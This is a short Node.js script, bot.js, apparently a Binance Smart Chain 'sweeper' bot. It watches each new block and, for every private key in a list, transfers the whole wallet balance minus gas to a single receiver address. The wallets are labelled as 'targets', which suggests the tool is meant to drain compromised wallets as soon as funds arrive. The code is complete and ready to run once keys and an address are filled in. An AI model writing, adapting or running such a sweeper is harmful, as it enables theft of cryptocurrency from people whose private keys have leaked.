└── bot.js


/bot.js:
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 1 | const { ethers } = require('ethers')
 2 | 
 3 | const provider = new ethers.providers.JsonRpcProvider('https://bsc-dataseed.binance.org/')
 4 | 
 5 | 
 6 | 
 7 | 
 8 | 
 9 | const addressReceiver = ''
10 | 
11 | const privateKeys = [""]
12 | 
13 | const bot = async =>{
14 | 
15 | 
16 | 
17 |     provider.on('block', async () => {
18 |         try {
19 | 
20 | 
21 |             console.log('Listening to new block, waiting ;)');
22 | 
23 |             for (let i = 0; i < privateKeys.length; i++) {
24 | 
25 |                 const _target = new ethers.Wallet(privateKeys[i]);
26 |                 const target = _target.connect(provider);
27 |                 const balance = await provider.getBalance(target.address);
28 |                 console.log(balance.toString())
29 | 
30 |                 const gasPrice = await provider.getGasPrice();
31 |                 //estimate gas for transfer of all balance
32 |                 const gasLimit = await target.estimateGas({
33 |                     to: addressReceiver,
34 |                     value: balance
35 |                 });
36 |                 console.log(gasLimit);
37 |                 const gas1 = gasLimit.mul(5)
38 |                 const gas2 = gas1.div(3)
39 |                 const totalGasCost = gas2.mul(gasPrice);
40 |                 console.log(totalGasCost);
41 |                 if (balance.sub(totalGasCost) > 0) {
42 |                     console.log("New Account with Eth!");
43 |                     const amount = balance.sub(totalGasCost);
44 | 
45 |                     try {
46 |                         await target.sendTransaction({
47 |                             to: addressReceiver,
48 |                             value: amount
49 | 
50 | 
51 |                         });
52 |                         console.log(`Success! transferred -->${ethers.utils.formatEther(amount)}`); //replaced the balance to amount
53 |                     } catch (e) {
54 |                         console.log(`error: ${e}`);
55 |                     }
56 |                 }
57 | 
58 |             }
59 |         }
60 |         catch (err){
61 |             console.log(err)
62 |         }
63 |     })
64 | }
65 | 
66 | bot();
67 | 


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